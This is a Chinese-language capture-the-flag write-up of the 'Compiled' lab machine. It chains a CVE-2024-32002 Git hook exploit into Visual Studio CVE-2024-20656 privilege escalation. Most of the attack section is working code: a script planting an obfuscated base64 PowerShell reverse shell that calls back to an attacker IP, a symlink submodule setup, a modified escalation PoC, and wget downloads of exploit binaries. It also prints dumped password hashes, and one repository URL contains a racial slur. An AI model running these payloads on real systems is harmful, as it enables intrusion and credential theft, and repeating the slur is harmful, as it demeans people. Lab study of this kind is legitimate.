记一次渗透测试实战之Compiled
字数 1548 2025-08-22 12:23:36
渗透测试实战:Compiled靶机渗透全流程解析
一、信息收集阶段
1. 端口扫描与发现
使用nmap进行端口探测,发现以下开放端口:
- 3000端口:Gitea代码托管平台
- 5000端口:Web应用登录界面
- 5985端口:WinRM服务
- 7680端口:未知服务
2. 初步漏洞探测
对5000端口的Web应用进行测试:
- 发现SSRF漏洞,但限制只能提交http协议的网站
- 测试发现无法访问其他页面,返回404错误
访问3000端口发现Gitea网站,这是后续攻击的主要入口点。
二、漏洞利用阶段
1. CVE-2024-32002漏洞利用
漏洞原理:
当受害者以递归方式克隆恶意存储库时,会执行子模块中包含的钩子。该漏洞存在于Git处理存储库子模块中的符号链接的方式中。
漏洞复现步骤:
- 注册Gitea账号
- 创建两个仓库:repo1和repo2
- 在repo1中创建恶意钩子脚本:
#!/bin/bash
git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main
rm -rf repo1
rm -rf repo2
git clone http://gitea.compiled.htb:3000/xxxxxxxxx/repo1.git
cd repo1
mkdir -p y/hooks
cat > y/hooks/post-checkout <<EOF
#!bin/sh.exe
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwAMQA0ADUAMQA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
- 在repo2中创建恶意子模块和符号链接:
cd ..
git clone http://gitea.compiled.htb:3000/celesian_nlte_cheating_niggers/repo2.git
cd repo2
git submodule add --name x/y "http://gitea.compiled.htb:3000/xxxxxxxxxx/repo1.git" A/modules/x
git commit -m "add-submodule"
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
git push
- 在5000端口的Web应用中提交恶意仓库链接,触发漏洞执行反向shell。
2. 内网信息收集
获取初始shell后,进行以下信息收集:
- 检查用户目录和配置文件
- 枚举数据库文件,发现SQLite数据库
- 提取用户凭据:
select name, passwd, passwd_hash_algo from user;
获取到以下用户哈希:
- administrator:
1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d - richard:
4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e - emily:
97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16 - 0xdf:
16d47698acf90f528436af0be7e1511722f6a8fa386ae9069de8cd37515dcd06b0d1eece19301077159b8349640efce856ae
哈希算法均为PBKDF2,盐值格式为base64。
3. CVE-2024-20656提权漏洞利用
漏洞原理:
通过Visual Studio诊断服务中的符号链接处理不当,实现权限提升。
利用步骤:
- 创建虚拟目录和连接目录
- 触发VSStandardCollectorService150服务创建诊断会话
- 利用对象管理器符号链接重定向文件操作
- 替换MofCompiler.exe为恶意程序
POC修改:
WCHAR cmd[] = L"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";
void cb1(){
printf("[*] Oplock!\n");
while (!Move(hFile2)) {}
printf("[+] File moved!\n");
CopyFile(L"c:\\windows\\system32\\cmd.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
finished = TRUE;
}
实际操作:
- 下载攻击工具:
wget 10.10.1633/Expl.exe -outfile e.exe
wget 10.10.16.33/rev-444.exe -outfile r.exe
- 执行提权攻击,获取SYSTEM权限。
三、总结与防护建议
1. 攻击链总结
- 通过Gitea的CVE-2024-32002漏洞获取初始立足点
- 利用数据库信息收集获取更多凭证
- 通过Visual Studio服务漏洞CVE-2024-20656实现权限提升
2. 防护建议
针对CVE-2024-32002:
- 及时更新Git和Gitea到最新版本
- 限制用户创建仓库和子模块的权限
- 审查并禁用不必要的Git钩子
针对CVE-2024-20656:
- 更新Visual Studio及相关组件
- 限制对C:\ProgramData\Microsoft\VisualStudio目录的写入权限
- 监控和审核符号链接创建行为
通用防护措施:
- 实施最小权限原则
- 定期审计系统配置和权限
- 监控异常进程创建和文件修改行为